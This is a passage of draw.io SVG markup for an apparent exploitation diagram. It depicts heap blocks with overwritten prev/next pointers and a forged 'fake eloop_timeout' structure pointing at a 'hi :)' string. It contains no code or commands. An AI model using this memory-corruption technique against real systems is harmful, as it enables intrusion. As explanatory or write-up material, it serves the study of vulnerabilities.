rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">prev = 0x7fb743d1c0</span></p></div></div></div></foreignObject><text x="757" y="339" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">prev = 0x7fb743d1c0</text></switch></g><path d="M 677 415 L 657 415 L 657 305 L 670.63 305" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 675.88 305 L 668.88 308.5 L 670.63 305 L 668.88 301.5 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="677" y="400" width="160" height="30" fill="#f8cecc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 415px; margin-left: 757px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p>next = 0x55556fc6b0<br /></p></div></div></div></foreignObject><text x="757" y="419" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">next = 0x55556fc6b0&#xa;</text></switch></g><path d="M 837 445 L 997 445 L 997 356.37" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 997 351.12 L 1000.5 358.12 L 997 356.37 L 993.5 358.12 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="677" y="430" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 445px; margin-left: 757px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p>prev = 0x7fb743d1c0<br /></p></div></div></div></foreignObject><text x="757" y="449" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">prev = 0x7fb743d1c0&#xa;</text></switch></g><rect x="527" y="320" width="70" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 335px; margin-left: 528px;"><div data-drawio-colors="color: #000000; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">after overwrite</div></div></div></foreignObject><text x="562" y="339" fill="#000000" font-family="Courier New" font-size="12px" text-anchor="middle">after overw...</text></switch></g><rect x="297" y="350" width="160" height="160" fill="#fad9d5" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 430px; margin-left: 377px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">eloop_timeout ...</span></p></div></div></div></foreignObject><text x="377" y="434" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">eloop_timeout ...</text></switch></g><rect x="57" y="350" width="160" height="160" fill="#fad7ac" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; 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text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe flex-start; justify-content: unsafe flex-start; width: 108px; height: 1px; padding-top: 367px; margin-left: 704px;"><div data-drawio-colors="color: #000000; " style="box-sizing: border-box; font-size: 0px; text-align: left;"><div style="display: inline-block; font-size: 10px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 12px ; text-align: center">0x7fb742e500</span></div></div></div></foreignObject><text x="704" y="377" fill="#000000" font-family="Courier New" font-size="10px">0x7fb742e500</text></switch></g><path d="M 697 380 L 681.5 395.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 677.79 399.21 L 680.27 391.78 L 681.5 395.5 L 685.22 396.73 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="677" y="580" width="160" height="30" fill="#f5f5f5" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 595px; margin-left: 757px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p>"hi :)"</p></div></div></div></foreignObject><text x="757" y="599" fill="#333333" font-family="Courier New" font-size="12px" text-anchor="middle">"hi :)"</text></switch></g><path d="M 657 560 L 672.5 575.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 676.21 579.21 L 668.78 576.73 L 672.5 575.5 L 673.73 571.78 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="567" y="540" width="110" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe flex-start; justify-content: unsafe flex-start; width: 108px; height: 1px; padding-top: 547px; margin-left: 569px;"><div data-drawio-colors="color: #000000; " style="box-sizing: border-box; font-size: 0px; text-align: left;"><div style="display: inline-block; font-size: 10px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 12px ; text-align: center">0x7fb742e538</span></div></div></div></foreignObject><text x="569" y="557" fill="#000000" font-family="Courier New" font-size="10px">0x7fb742e538</text></switch></g><rect x="322" y="250" width="110" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe flex-start; justify-content: unsafe flex-start; width: 108px; height: 1px; padding-top: 257px; margin-left: 324px;"><div data-drawio-colors="color: #000000; " style="box-sizing: border-box; font-size: 0px; text-align: left;"><div style="display: inline-block; font-size: 10px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><div style="text-align: center"><span style="font-size: 12px"><font face="courier new">0x7fb743d1c0</font></span></div></div></div></div></foreignObject><text x="324" y="267" fill="#000000" font-family="Courier New" font-size="10px">0x7fb743d1c0</text></switch></g><rect x="702" y="250" width="110" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; 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text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 475px; margin-left: 757px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">0x00000000</span></p></div></div></div></foreignObject><text x="757" y="479" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">0x00000000</text></switch></g><path d="M 867 490 L 862 490 Q 857 490 857 500 L 857 540 Q 857 550 852 550 L 849.5 550 Q 847 550 852 550 L 854.5 550 Q 857 550 857 560 L 857 600 Q 857 610 862 610 L 867 610" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" transform="translate(857,0)scale(-1,1)translate(-857,0)" pointer-events="all"/><rect x="677" y="620" width="160" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 158px; height: 1px; padding-top: 635px; margin-left: 678px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">fake eloop_timeout</div></div></div></foreignObject><text x="757" y="639" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">fake eloop_timeout</text></switch></g><rect x="867" y="535" width="180" height="30" fill="none" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; 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